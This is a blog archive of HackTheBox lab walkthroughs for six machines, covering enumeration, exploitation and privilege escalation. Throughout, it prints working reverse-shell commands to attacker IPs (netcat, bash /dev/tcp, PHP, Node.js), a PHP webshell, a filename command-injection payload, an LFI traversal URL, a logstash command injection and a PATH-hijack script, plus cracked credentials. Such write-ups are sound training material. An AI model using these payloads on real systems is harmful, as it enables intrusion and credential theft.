Category Archives: HackTheBox

Traverxec is rated as an easy box on HackTheBox.

User

As with all HackTheBox machines I started with an nmap scan which identified port 80 was open and running nostromo 1.9.6, a simple HTTP server also called nhttpd.

While searching for some information on nostromo, pretty much the first search result was about a known vulnerability. I quickly found an exploit for it here. The exploit is basically a directory traversal vulnerability with remote command execution, hence the box name Traverxec.
The exploit makes a POST request for /bin/sh, which is then used to execute arbitrary commands.

Using the above exploit script I poked around the box and found an .htpasswd file in the nostromo server directory:

./exploit.sh 10.10.10.165 80 cat /var/nostromo/conf/.htpasswd

Copying the hash from that file I cracked it with hashcat on my host machine:

hashcat --opencl-platforms=1 --username -m 500 -a 0 -w 3 hash /usr/share/wordlists/rockyou.txt

I now had the first pair of credentials:

david:Nowonly4me

Hoping those were the credentials to login via SSH I tried doing that, but no. Apparently they were for something else so I went back to poking in the box.

At this point it started to get a little cumbersome to use the above exploit script for every command, so I used it to make a reverse Netcat shell to my machine:

./exploit.sh 10.10.10.165 80 nc -e /bin/sh 10.10.14.157 9001

For the next part I had to look closely at the nhttpd file where I found the .htpasswd in the beginning. This file was configured to serve the home directory of david as well as the directory public_www. While I was able to visit http://10.10.10.165/~david there was nothing interesting there, and the permissions of /home/david did not allow for reading files. Something was amiss though, as I had execute rights on that folder, so I could cd into it but not run ls on it. After looking at the usual files (.bashrc etc) in that folder, I tried going to /home/david/public_www. This worked, and I was able to use ls here and find a backup file. This backup file contained a private SSH keyfile which I transferred to my host machine and cracked with john.
Finally I had a pair of credentials to SSH into the machine and grab the user.txt.

Root

In the home dir I found a folder called /bin which contained this file: ./server-status.sh
Running it showed some information of the processes running on the box, and looking at the last line of the script revealed that the last command was run with sudo.
Looking up the command (journalctl) on GTFObin revealed how one could escape the current environment and get a shell with !/bin/sh. This did not work from within the script, but running the last part of the script manually from terminal worked (omitting the pipe into cat ¦ /usr/bin/cat) and I had a root shell due to the use of password-less sudo for the journalctl command.
With this I could read root.txt and the box was pwned.

Bitlab is rated as a medium box on HackTheBox.

User

As is usual with HackTheBox, I started with an nmap scan and discovered ports 22 and 80 open. Going to the web server on port 80 and looking around, I found an interesting link under ‘help’ that wouldn’t open. Turned out the link was this JavaScript snippet:

javascript:(function(){%20var%20_0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document_0x4b18[2][_0x4b18[0]]=%20_0x4b18[3];document_0x4b18[2][_0x4b18[0]]=%20_0x4b18[5];%20})()

Cleaning up the code a little and changing the hex to ASCII, I got this:

javascript:(function(){ var __0x4b18="value","user_login","getElementById","clave","user_password",11des0081x";document[_0x4b18[2][_0x4b18[0]]= _0x4b18[5]; })()

Giving me a username and password, supposedly for the bitlab site I was on.
Login in with these credentials worked and I was able to access 2 different gitlab repositories, one of which allowed me to upload files.
Since the server was running php I tried uploading a simple php reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.194/9123 0>&1'"); ?>

And of course starting a netcat listener on that port.

Now the problem was where to find this file and execute it, and I wasted a long time on this step. Finally I thought to look under ‘/profile’ which seemed different than the rest of the site, and finally found my script and was able to execute it.
With this I now had a shell on the machine as ‘www-data’.

As often happens with HackTheBox machines I couldn’t really do that much with the initial shell and needed to escalate to another user. Apart from root there was only one other user on the box, called ‘clave’, but after spending a long time enumerating the box I didn’t find any obvious way to escalate.

I did notice that www-data was allowed to run ‘/usr/bin/git pull’ as sudo, and I spent considerable time trying to abuse this, with no success.

Going back to the web server I did some more enumeration to see if I’d missed something. I found a code snippet on the server with a postgresql connection command including database username and password. Expanding upon this code snippet I wrote some php code to extract information from the database:

<?php
    $db_connection = pg_connect("host=localhost dbname=profiles       
        user=profiles password=profiles");
    $result = pg_query($db_connection, "SELECT * FROM profiles");
    while ($row = pg_fetch_row($result)) {
        echo "$row[0] - $row[1] - $row[2]";
    }
?>

Running this code the same way as for the initial shell, I succeeded in extracting a username and password from the database itself:

I first base64 decoded the hash which resulted in this: ‘ssh-str0ng-p@ss’ thinking that was the password, but it didn’t work. Trying the password without decoding however did work, so I guess that was a way for the box maker to troll us.

Using ssh to log into the box as clave, I was able to get user.txt.

Root

After logging in as clave, I immediately noticed a Windows binary in the home folder. I downloaded this to my machine with scp:

scp clave@10.10.10.114:/home/clave/RemoteConnection.exe ./

After spending way too much time trying to run and reverse engineer the binary using a Windows 7 virtual machine I gave up and used wine with Kali instead.
Using ollydbg, a free binary debugger, I set breakpoints on the functions with these notes:
GetUserNameW
UNICODE “clave”
Then, stepping through the program, at the second breakpoint I looked at the EAX register which contained a command to ssh with a password.

Using this password I could ssh into the box as root and get root.txt.

Heist is an easy Windows box on HackTheBox, however since I have very little experience with Windows, I found it rather difficult.

User

The usual nmap scan reveals the following ports are open:

Port 80 presents a login page and a forgotten password link (/issues.php), which actually goes to a forum post with an attached file containing 3 hashed passwords. These can be cracked with hashcat or for the Type 7 hashes, with this page: http://ibeast.com/tools/CiscoPassword/index.asp

Two usernames can also be found in the above config file, and a third can be found on the forum page (Hazard). Using lookupsid.py from Impacket and trying all combinations of logins gets us a few more usernames on the box.

lookupsid.py hazard:stealth1agent@10.10.10.149

Next, use auxiliary/scanner/winrm/winrm_login from Metasploit to check those usernames/passwords – or check them manually if you are not lazy like me ;-)

We now have another set of valid credentials which we can use to login via Windows Remote Management on port 5985. For this I used evil-winrm which gives a Powershell on the machine.

  ruby evil-winrm.rb -i 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

And with that we have the user.txt.

Root

For root, we check Get-Process to see that firefox is running, something not very usual on a server, even less a HackTheBox machine.
The way to get root on this box is by making a dump of the firefox process and looking through it for any kind of login information or passwords.

First we get procdump64.exe from Windows Sysinternals and serve it on our attacker machine, and then download it on the box:

(New-Object Net.WebClient).DownloadFile("http://10.10.15.211:8000/procdump64.exe", "C:\Users\chase\Documents\procdump64.exe")

And run it on the firefox process by finding firefox’s PID:

 .\procdump64.exe -accepteula -ma PID

(-accepteula is only necessary the first time you run it).

This will create a rather large dump file (400MB+) that can be a pain to sift through. There are a few ways to do that, I’ll detail two of them here. First is to download the file to our attacker box and use strings on it (evil-winrm has a built-in download function) and grepping for ‘password’.

The second and faster way is to download strings64.exe from Windows Sysinternals and running it on the box with:

./strings64.exe -accepteula firefox.exe.dmp | % { if($_ -match "password") {echo $_} }

| % { if($_ -match “password”) {echo $_} } is the Windows Powershell way of running grep. Linux is so much easier…
It is also possible to use this command to grep: sls password ./firefox.exe.dmp -ca, but I found the screen to scroll by too fast to actually find the password, and the frame buffer too small so I couldn’t scroll that far back.

Finally with our new password we can login as administrator with evil-winrm and get root.txt.

All in all it’s a rather easy and quick machine if you know what you’re doing. I didn’t, and needed hints on the HTB forum several times. But I did learn a lot about Windows enumeration and exploitation, which should make future Windows machines just a little easier.

‘Networked’ is rated as an easy machine on HackTheBox

User

The usual nmap scan revealed the following open ports:

Running gobuster on port 80 revealed a few endpoints, the most interesting one being /backup which had a tarred backup file which included all the PHP files the server was running on port 80. Running those files in a local server revealed how the file upload process in /upload.php worked, and how to bypass the file type restriction by naming the uploaded file shell.php.png
With this, I was able to upload a PHP reverse shell on the live machine:

<?php system($_GET['cmd']); ?>

and I had the initial foothold.

Unfortunately there wasn’t much I could do as this user, so it was time to escalate to the other user on the box, ‘Guly’. In that user’s home folder I found a script that periodically went through all files in /var/www/html/uploads and acted on the filename of any files there. Since there was no sanitising of the input to the script, creating a file containing a bash pipe character as filename would allow me to break out of the current command, and run arbitrary commands. Creating such a file can be a little tricky, but using quotes allowed me to escape the pipe character and create the following file:

touch  '; nc -nv 10.10.14.103 9001 -c bash;'

When the script parses this file, the ; causes it to end the current command and then run netcat, creating a reverse shell to my machine.
As ‘Guly’, I could now read user.txt.

Root

Running ‘sudo -l’ as ‘Guly’ revealed that I could run a script called changename.sh password-less. Playing around with this script, which appeared to allow renaming of a network adapter, I found out that every input after ‘space’ got interpreted as a command. However, the script blacklisted most symbols including dots, meaning I couldn’t just use ‘cat /root/root.txt’. Nor would the usual bash reverse shell work, as it expects the IP address as the usual xxx.xxx.xxx.xxx.

Here’s a little-known feature of Netcat: instead of using the usual IP notation, it also accepts it in Hex. Using an online calculator, I translated my IP to Hex and introduced the following command in changename.sh:

pleaseconnectmetothisaddress nc -e /bin/sh 0x0A0A0E67 9001

The silly first part was required because the command didn’t get interpreted until after the first space.
Now I had a reverse root shell, and could read root.txt.

‘Haystack’ is rated as an easy machine on HackTheBox.

USER

Running nmap on the machine showed that only a few ports were open, with http running on both port 80 and 9200.

Visiting port 80 revealed a very simple page with an image and nothing else. Gobuster didn’t reveal any other endpoints on this port, so obviously the image was important.

Running steghide on the image didn’t reveal anything, but strings did, namely a base64 string that translated to a Spanish sentence:

la aguja en el pajar es "clave"

Meaning “The needle in the hay is ‘key'”, where ‘key’ can also mean ‘password’. Trying to extract more information from the image with steghide and the ‘key’ from above didn’t result in anything.

Since there was nothing else on port 80, I proceeded to look at port 9200.
This presented an Elastiksearch portal, and Duckduckgo’ing this technology I was able to construct a search query:

http://10.10.10.115:9200/_search?pretty&size=200

This query revealed that the database contained bank account information and quotes… Strange combination! Looking through both and narrowing the search by using the keywords found in the image earlier, I came upon some interesting stuff (that would never have been there in a real-world database!):

POST /quotes/_search?pretty
Host: 10.10.10.115:9200
Content-Type: application/json
Content-Length: 79

{
   "query":{
      "query_string":{
         "query":"clave"
      }
   }
}

This revealed two base64’d hashes that included a username and password. With these I could SSH into the box and grab the user.txt.

ROOT

Apart from grabbing the user flag there wasn’t really much else I could do as this user, so I instead tried to escalate to the other user on the system, ‘kibana’.
Luckily there exists a known LFI (Local File Exclusion) vulnerability in Kibana, the software that is part of the Elastiksearch stack. The exploit is pretty straight-forward, create a file on the local machine and make a GET request from the local machine to execute it.

I created a node.js reverse shell and put it in /tmp:

(function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(9001, "10.10.15.9", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application from crashing
})();

And then set up a Netcat listener on my attack box and executed the reverse shell via Curl on the server:

http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js

As the ‘kibana’ user I was able to read the /etc/logstash/conf.d/ directory which contained configuration files for logstash, a process running as root which I had identified earlier with LinEnum.sh.

The most interesting file in the above directory was filter.conf, which explains how logstash greps a file and which parts it executes:

filter {
    if [type] == "execute" {
        grok {
            match => { "message" => 
"Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
        }
    }
}

Meaning, logstash looks for the string Ejecutar comando : and executes everything after it (the part after GREEDYDATA. There are several blogs on the Internet explaining this, search for ‘grok’ and ‘greedydata’).
With this in mind I created the file /opt/kibana/logstash_x with a reverse bash shell:

Ejecutar comando : bash -i >& /dev/tcp/10.10.15.9/9001 0>&1

And finally I got a connection on the Netcat listener and was logged in as root and could grab the root flag.

‘Writeup’ is rated as an easy machine on HackTheBox.

User

As always, I started with an nmap scan which revealed two ports open, port 22 (SSH) and port 80 (HTTP).

Visiting port 80 showed a very simple page and nothing else. No links, nothing. Well, except for a warning that I’d be banned if I hit a lot of 404 pages, so no gobuster or similar brute forcing was going to work here.

Fortunately, checking robots.txt gave me something to work on, as it didn’t want me to visit /writeup. Which is exactly what I did!
There wasn’t much of interest in /writeup, but wappalyzer (a Firefox plugin) identified the software running as ‘CMS Made Simple’. Something which exploit-db has several exploits for.
I found an SQL injection exploit which didn’t need any valid credentials, and since I wasn’t able to identify the version of CMS Made Simple running, I decided to give it a try.

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

Within a short time the exploit had extracted a username, and the salt and hash for the password. Using hashcat with mode 20 (md5($salt.$pass)) I got the password ‘raykayjay9’ which allowed me to log in via SSH and grab the user flag.

Root

For root, I did the usual and fetched LinEnum and pspy and ran them. I didn’t initially notice anything with these tools, so I ran pspy with the parameters -fp to see all file system events.
When someone ssh’d into the box, sshd would call run-parts without a specific path, looking in the following dirs in the PATH variable:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Checking if any of these directories were writable showed that both /usr/local/sbin and /usr/local/bin were. So what would happen if I were to put an executable script called ‘run-parts’ into either of the above dirs?

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.10/9001 0>&1

Running chmod +x to make the above script executable and starting a reverse netcat listener

nc -lvnp 9001

All I had to do was log in via SSH again, and I had a reverse root shell and could grab the root flag!